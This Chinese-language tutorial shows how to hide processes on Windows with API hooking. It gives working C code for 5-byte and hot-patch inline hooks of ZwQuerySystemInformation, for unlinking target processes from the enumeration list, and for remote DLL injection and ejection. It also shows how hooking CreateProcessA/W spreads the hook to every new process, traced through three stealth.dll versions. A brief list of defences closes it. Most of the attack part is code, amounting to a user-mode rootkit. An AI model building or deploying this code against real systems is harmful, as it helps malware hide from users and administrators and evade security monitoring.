API钩取:进程的隐藏与全局钩取
字数 1552 2025-08-25 22:58:20
API钩取:进程的隐藏与全局钩取技术详解
概述
API钩取是一种通过修改API函数执行流程来实现特定功能的技术。本文详细介绍了如何通过API钩取实现进程隐藏功能,并逐步完善了三种不同版本的实现方案(stealth.dll、stealth2.dll、stealth3.dll)。
基本原理
进程隐藏(Rootkit)的核心原理是通过修改系统API的执行流程,使得目标进程在进程枚举时不被显示。主要技术手段包括:
- IAT钩取:修改导入地址表中的函数指针
- API代码修改:直接修改API函数的机器代码
当目标API不存在于IAT表时,必须使用API代码修改技术,具体分为:
- 5字节钩取
- 7字节钩取(热补丁技术)
关键API分析
ZwQuerySystemInformation
这是实现进程隐藏的关键API,位于ntdll.dll中。它用于获取系统信息,当SystemInformationClass参数为5(SystemProcessInformation)时,返回系统中所有进程的信息。
typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
返回的进程信息以_SYSTEM_PROCESS_INFORMATION结构体链表形式存在:
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset; // 下一个结构体的偏移量
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3]; // 其中Reserved2[1]存储进程名
HANDLE UniqueProcessId; // 进程PID
// 其他成员省略...
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
CreateProcessA/W
用于实现全局钩取的关键API,位于kernel32.dll中。通过钩取此API可以在新进程创建时自动注入我们的DLL。
typedef BOOL(WINAPI* PFCREATEPROCESSA)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
钩取技术实现
5字节钩取技术
原理:将API函数开头的5个字节替换为JMP指令(0xE9),跳转到自定义函数。
实现步骤:
- 保存原始API的前5字节
- 计算跳转偏移:
目标地址 - 当前地址 - 5 - 构造JMP指令并写入API开头
- 恢复内存保护属性
BOOL hook_code(LPCSTR szDllName, LPCSTR szFuncName, PROC prNew, PBYTE pOrgbyte) {
FARPROC prOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
PBYTE pByte = (PBYTE)prOrg;
if(pByte[0] == 0xE9) return FALSE; // 已挂钩则跳过
DWORD dwOldProtect;
VirtualProtect((LPVOID)prOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pOrgbyte, prOrg, 5); // 保存原始字节
DWORD dwAddress = (DWORD)prNew - (DWORD)prOrg - 5;
byte Buf[5] = {0xE9};
memcpy(&Buf[1], &dwAddress, 4);
memcpy(prOrg, Buf, 5); // 写入跳转指令
VirtualProtect((LPVOID)prOrg, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
7字节钩取(热补丁技术)
原理:利用API函数前7字节的特殊结构(5个0xCC + mov edi,edi),将mov edi,edi替换为短跳转(EB F9),在前5字节写入长跳转。
实现步骤:
- 在API函数前5字节写入JMP指令
- 将mov edi,edi(8B FF)替换为短跳转EB F9(跳转到前5字节)
- 调用原始API时从+2地址开始执行
BOOL hook_code_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC prNew) {
FARPROC pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
PBYTE pByte = (PBYTE)pFunc;
if(pByte[0] == 0xEB) return FALSE; // 已挂钩则跳过
DWORD dwOldProtect;
VirtualProtect((LPVOID)((DWORD)pFunc-5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 计算跳转地址(不需要-5,因为从-5位置开始跳转)
DWORD dwAddress = (DWORD)prNew - (DWORD)pFunc;
BYTE Buf[5] = {0xE9};
memcpy(&Buf[1], &dwAddress, 4);
// 写入长跳转和短跳转
memcpy((LPVOID)((DWORD)pByte-5), Buf, 5);
byte buf2[2] = {0xEB, 0xF9};
memcpy(pFunc, buf2, 2);
VirtualProtect((LPVOID)((DWORD)pFunc-5), 7, dwOldProtect, &dwOldProtect);
return TRUE;
}
进程隐藏实现
隐藏原理
通过修改ZwQuerySystemInformation返回的进程链表,将要隐藏的进程节点从链表中移除:
- 找到目标进程节点
- 调整前驱节点的NextEntryOffset,跳过当前节点
- 如果是最后一个节点,将前驱节点的NextEntryOffset设为0
while(TRUE) {
if(pCur->Reserved2[1] != NULL && !_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName)) {
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
} else {
pPrev = pCur;
}
if(pCur->NextEntryOffset == 0) break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}
全局钩取实现
通过钩取CreateProcessA/W,在新进程创建时自动注入DLL:
BOOL WINAPI NewCreateProcessA(...) {
FARPROC pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
pFunc = (FARPROC)((DWORD)pFunc + 2); // 热补丁+2跳过钩子
BOOL bRet = ((PFCREATEPROCESSA)pFunc)(...); // 调用原始API
if(bRet) {
inject(lpProcessInformation->hProcess, INJECT_DLL); // 注入DLL
}
return bRet;
}
注入程序实现
共享节区
使用共享节区在DLL和注入程序间传递要隐藏的进程名:
#pragma comment(linker,"/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0};
#pragma data_seg()
DLL注入与卸载
// 注入函数
BOOL inject(DWORD dwPID, LPCTSTR szDllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
LPVOID lpRemoteBuf = VirtualAllocEx(hProcess, NULL, (_tcslen(szDllPath)+1)*sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, (_tcslen(szDllPath)+1)*sizeof(TCHAR), NULL);
LPTHREAD_START_ROUTINE pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}
// 卸载函数
BOOL Eject(DWORD dwPID, LPCTSTR szDllPath) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
MODULEENTRY32 me = {sizeof(MODULEENTRY32)};
BOOL bFound = FALSE;
for(BOOL bMore = Module32First(hSnapshot, &me); bMore; bMore = Module32Next(hSnapshot, &me)) {
if(!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath)) {
bFound = TRUE;
break;
}
}
if(!bFound) return FALSE;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
LPTHREAD_START_ROUTINE pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, (LPVOID)me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hSnapshot);
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}
版本演进
stealth.dll
基本功能:
- 使用5字节钩取ZwQuerySystemInformation
- 通过共享节区传递进程名
- 需要手动注入所有现有进程
stealth2.dll
改进:
- 增加对CreateProcessA/W的钩取
- 自动注入新创建的进程
- 需要将DLL放在system32目录下
stealth3.dll
优化:
- 对CreateProcessA/W使用7字节热补丁钩取
- 调用原始API时无需脱钩,直接从+2地址执行
- 更稳定可靠
关键点总结
- 提权操作:注入前需要启用SE_DEBUG_NAME权限
- 异常处理:避免对注入程序自身和系统关键进程进行钩取
- 线程同步:在修改API代码时注意内存保护属性的修改与恢复
- 全局钩取:通过钩取进程创建API实现对新进程的自动注入
- 热补丁优势:比5字节钩取更稳定,原始API功能不受影响
防御措施
- 检测API函数开头的JMP指令
- 校验关键API的代码完整性
- 使用硬件断点监控API修改
- 限制进程注入权限
- 监控进程间通信和共享内存区域